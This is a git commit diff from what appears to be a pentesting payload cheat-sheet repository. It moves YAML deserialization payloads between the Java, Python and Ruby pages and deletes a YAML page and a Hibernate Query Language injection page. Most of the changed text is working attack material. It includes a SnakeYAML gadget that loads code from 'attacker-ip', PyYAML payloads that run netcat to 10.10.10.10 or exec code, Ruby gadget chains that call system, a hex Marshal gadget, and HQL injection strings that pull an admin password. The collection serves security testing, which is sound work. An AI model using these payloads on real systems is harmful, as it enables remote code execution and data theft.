YAML Deserialization

This commit is contained in:
Swissky 2024-11-17 20:48:10 +01:00
parent b98f8ca587
commit 9932059563
6 changed files with 94 additions and 276 deletions

View File

@ -10,6 +10,7 @@
* [Ysoserial](#ysoserial) * [Ysoserial](#ysoserial)
* [Burp extensions using ysoserial](#burp-extensionsl) * [Burp extensions using ysoserial](#burp-extensionsl)
* [Alternative Tooling](#alternative-tooling) * [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references) * [References](#references)
@ -100,7 +101,7 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
python yss_url.py yss_new.bin python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin java -cp JavaSerializationTestSuite DeSerial yss_new.bin
``` ```
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution - [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
```java ```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] $ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
@ -131,6 +132,21 @@ Payload generators for the following marshallers are included:
| YAMLBeans | third party RCE | | YAMLBeans | third party RCE |
## YAML Deserialization
SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References ## References
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) - [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)

View File

@ -6,9 +6,15 @@
* [Detection](#detection) * [Detection](#detection)
* [Pickle](#pickle) * [Pickle](#pickle)
* [PyYAML](#pyyaml)
* [References](#references) * [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
## Detection ## Detection
In Python source code, look for these sinks: In Python source code, look for these sinks:
@ -65,6 +71,47 @@ print("Your Evil Token : {}").format(evil_token)
``` ```
## PyYAML
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
```py
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## References ## References
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/) - [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)

View File

@ -5,12 +5,12 @@
## Summary ## Summary
* [Marshal.load](#marshalload) * [Marshal Deserialization](#marshal-deserialization)
* [Yaml.load](#yamlload) * [YAML Deserialization](#yaml-deserialization)
* [References](#references) * [References](#references)
## Marshal.load ## Marshal Deserialization
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@ -18,7 +18,8 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
``` ```
## Yaml.load
## YAML Deserialization
Vulnerable code Vulnerable code
@ -29,7 +30,7 @@ YAML.load(File.read("p.yml"))
Universal gadget for ruby <= 2.7.2: Universal gadget for ruby <= 2.7.2:
```ruby ```yaml
--- !ruby/object:Gem::Requirement --- !ruby/object:Gem::Requirement
requirements: requirements:
!ruby/object:Gem::DependencyList !ruby/object:Gem::DependencyList
@ -43,7 +44,7 @@ requirements:
Universal gadget for ruby 2.x - 3.x. Universal gadget for ruby 2.x - 3.x.
```ruby ```yaml
--- ---
- !ruby/object:Gem::Installer - !ruby/object:Gem::Installer
i: x i: x
@ -65,6 +66,28 @@ Universal gadget for ruby 2.x - 3.x.
method_id: :resolve method_id: :resolve
``` ```
```yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## References ## References

View File

@ -1,104 +0,0 @@
# YAML Deserialization
> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [PyYAML](#pyyaml)
* [ruamel.yaml](#ruamelyaml)
* [Ruby](#ruby)
* [SnakeYAML](#snakeyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
## Methodology
### PyYAML
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
```
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## Ruamel.yaml
## Ruby
```ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)

View File

@ -1,163 +0,0 @@
# Hibernate Query Language Injection
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
## Summary
* [HQL Comments](#hql-comments)
* [HQL List Columns](#hql-list-columns)
* [HQL Error Based](#hql-error-based)
* [Single Quote Escaping](#single-quote-escaping)
* [$-quoted strings](#--quoted-strings)
* [DBMS Magic functions](#dbms-magic-functions)
* [Unicode](#unicode)
* [Java constants](#java-constants)
* [Methods by DBMS](#methods-by-dbms)
* [References](#references)
## HQL Comments
HQL does not support comments.
## HQL List Columns
```sql
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
```
Using an unexisting column will an exception leaking several columns names.
```sql
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
```
## HQL Error Based
```sql
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
```
Error based on value casting.
```sql
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
```
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```sql
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```sql
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```sql
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```sql
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
## Unicode
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
HQL allows UNICODE symbols in identifiers (function or parameter names).
```sql
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
## Java constants
Method works for most DBMS (does not work for MySQL).
Hibernate resolves Java public static fields (Java constants) in HQL queries:
- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
```java
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
```
Some usable constants in well-known Java libraries:
```ps1
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```sql
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```
## References
- [HQL for pentesters - Philippe Arteau - February 12, 2014](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
- [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt - July 7, 2010](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
- [HQL: Hyperinsane Query Language - Renaud Dubourguais - June 4, 2015](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
- [ORM2Pwn: Exploiting injections in Hibernate ORM - Mikhail Egorov - November 26, 2015](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
- [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov - October 16, 2016](https://web.archive.org/web/20161016220026/https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
- [HQL Injection Exploitation in MySQL - Olga Barinova - July 18, 2019](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)

View File

@ -12,7 +12,6 @@
* [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) * [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
* [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) * [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
* [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md) * [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
* [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md) * [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md) * [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
* [Tools](#tools) * [Tools](#tools)